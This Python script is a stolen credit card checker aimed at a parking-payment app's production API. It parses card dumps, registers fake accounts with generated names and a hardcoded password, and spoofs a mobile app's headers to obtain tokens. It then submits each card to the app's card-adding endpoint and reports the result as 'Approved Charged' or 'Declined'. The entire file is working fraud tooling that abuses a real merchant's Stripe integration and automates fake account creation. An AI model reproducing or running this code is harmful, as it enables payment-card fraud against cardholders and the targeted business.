import json
import random
import re
import time

import requests
from faker import Faker

url = "https://parkingpay-api-prod.azurewebsites.net/api/app/conductor/tarjetas"


def parsear(card: str):
    try:
        card = card.strip()

        card_cleaned = re.sub(r"[^0-9| /:-]", "", card)
        separators = r"[ /|:-]+"
        card_cleaned = re.sub(separators, "|", card_cleaned)

        numbers = [n for n in card_cleaned.split("|") if n.isdigit()]

        cc_number = None
        mes = None
        ano = None
        cvv = None

        for num in numbers:
            if len(num) in (15, 16) and not cc_number:
                cc_number = num

            if len(num) in (1, 2) and not mes:
                if 1 <= int(num) <= 12:
                    mes = num.zfill(2)

            if len(num) in (2, 4) and not ano:
                if len(num) == 2:
                    if 20 <= int(num) <= 99:
                        ano = f"20{num}"
                elif len(num) == 4:
                    if 2020 <= int(num) <= 2099:
                        ano = num

            if len(num) in (3, 4) and not cvv:
                cvv = num

        if not all([cc_number, mes, ano, cvv]):
            return None

        if int(mes) < 1 or int(mes) > 12:
            return None

        current_year = int(time.strftime("%Y"))
        if int(ano) < current_year:
            return None

        if len(cvv) not in (3, 4):
            return None

        return f"{cc_number}|{mes}|{ano}|{cvv}"

    except Exception:
        return None


def generar_numero_celular():
    return "55" + str(random.randint(10000000, 99999999))


def crear_token():
    intentos = 0
    max_intentos = 3

    while intentos < max_intentos:
        try:
            faker = Faker()
            nombre = faker.first_name()
            apellido = faker.last_name()

            email = (
                nombre.lower()
                + str(random.randint(100000, 999999999999))
                + "@gmail.com"
            )

            response = requests.post(
                url="https://parkingpay-api-prod.azurewebsites.net/api/app/usuarios/registro",
                data=json.dumps(
                    {
                        "correoElectronico": email,
                        "nombre": nombre,
                        "apellidos": apellido,
                        "telefono": generar_numero_celular(),
                        "contrasena": "Dracko151013",
                    }
                ),
                headers={
                    "user-agent": "Dart/2.18 (dart:io)",
                    "content-type": "application/json; charset=utf-8",
                    "accept-encoding": "gzip",
                    "host": "parkingpay-api-prod.azurewebsites.net",
                },
            )

            if "true" in response.text:
                response = requests.post(
                    url="https://parkingpay-api-prod.azurewebsites.net/api/auth",
                    data=json.dumps(
                        {
                            "correoElectronico": email,
                            "contrasena": "Dracko151013",
                        }
                    ),
                    headers={
                        "user-agent": "Dart/2.18 (dart:io)",
                        "content-type": "application/json; charset=utf-8",
                        "accept-encoding": "gzip",
                        "host": "parkingpay-api-prod.azurewebsites.net",
                    },
                )

                token = json.loads(response.text).get("token")
                if token:
                    return token

                raise ValueError("No se recibio token en la respuesta.")

            raise ValueError("Error en el registro del usuario.")

        except Exception:
            intentos += 1

    return None


def CCN1(card):
    formatted_card = parsear(card)
    if not formatted_card:
        return "Card invalida"

    cc, mes, ano, cvv = formatted_card.split("|")

    token = crear_token()
    if not token:
        return "Error: Fuera de Horario"

    data = {
        "numero": cc,
        "expiracionMes": mes,
        "expiracionYear": ano,
    }

    headers = {
        "authorization": token,
        "user-agent": "Dart/2.18 (dart:io)",
        "accept-encoding": "gzip",
        "content-type": "application/json; charset=utf-8",
        "host": "parkingpay-api-prod.azurewebsites.net",
    }

    cookies = {
        "ARRAffinity": "152afccfbb3199dcd5ba6d3244c349d3a34340fab04a1070debc405efa4c6557",
        "ARRAffinitySameSite": "152afccfbb3199dcd5ba6d3244c349d3a34340fab04a1070debc405efa4c6557",
    }

    response = None

    try:
        response = requests.post(
            url,
            json=data,
            headers=headers,
            cookies=cookies,
            timeout=10,
        )

        if response.status_code == 200:
            return "𝗔𝗽𝗽𝗿𝗼𝘃𝗲𝗱 𝗖𝗵𝗮𝗿𝗴𝗲𝗱"

        if response.status_code == 400 or (
            "Ocurrió un error al crear la tarjeta en stripe" in response.text
        ):
            return "𝗗𝗲𝗰𝗹𝗶𝗻𝗲𝗱"

        return "𝗗𝗲𝗰𝗹𝗶𝗻𝗲𝗱"

    except Exception:
        if response is not None and (
            response.status_code == 400
            or "Ocurrió un error al crear la tarjeta en stripe" in response.text
        ):
            return "𝗗𝗲𝗰𝗹𝗶𝗻𝗲𝗱"

        return "𝗗𝗲𝗰𝗹𝗶𝗻𝗲𝗱"
